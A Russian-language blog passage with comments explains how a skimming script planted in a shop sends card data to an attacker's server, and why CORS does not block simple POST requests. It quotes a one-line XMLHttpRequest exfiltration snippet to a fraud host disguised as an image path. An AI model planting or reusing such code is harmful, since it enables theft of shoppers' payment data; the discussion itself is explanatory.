Код, который отправляет подготовленные данные на сторонний сервер очень прост:
var http = new XMLHttpRequest(); http.open("POST","https://fraudsite.com/lib/paypal_icon.jpg",true); http.setRequestHeader("Content-type","application/x-www-form-urlencoded"); http.send("data="+data);
И вот глядя на этот простой код у меня возник вопрос - а почему браузер не препятствует отправке данных на сторонний сервер? А не препятствует он потому что fraudsite.com отдает заголовок "Access-Control-Allow-Origin: *" и данные сливаются без шума и пыли. Более подробный ответ почему так происходит есть на этой схеме:
Ради интереса проверил как на такую ситуацию реагирует антивирус - оказалось что никак. Вот и получается - заходишь на "уважаемый" сайт, вбиваешь данные кредитки и понятия не имеешь, что они уже отправились куда нужно. Грусть короче...
Для начала, нужно отбить руки админу, который настраивал сервер и сказал отдавать заголовок Access-Control-Allow-Origin: *
ОтветитьУдалитьа затем разрабам, которые не осилили jsonp, чем собственно успешно и воспользовался злоумышленник.
Заголовок "Access-Control-Allow-Origin: *" выдает сайт, на который сливается инфа (т.е. сайт, принадлежащий злоумышленнику). А скрипт, который сливает инфу, был установлен злоумышленником через уязвимость магазина и при чем тут jsonp и разрабы?
УдалитьСтоп. Данные на сервер злоумышленника отправляются js скриптом, через XMLHttpRequest, по просто говоря аяксом. По дефолту, браузер не даст отправить данные на домен отличный от того, с которого пришел запрос. Т.е. данные через XMLHttpRequest можно отправляить только на домен, на котром работает магазин. А тут полчается данные уводят через обычный xss. А для этого, именно сервер магазина, должен отдавать заголовки браузеру, которые ему скажут, что данные можно слать всем подряд.
УдалитьЛибо я что-то не так понял?
Вот именно так я и думал раньше. А оказалось, что все иначе. Если использовать GET/POST/HEAD запросы, не мудрить с Content-Type и дополнительными заголовками, то все зависит от желания ПРИНИМАЮЩЕЙ, а не отправляющей стороны. А принимающая в моем случае - жаждет принимать.
Удалить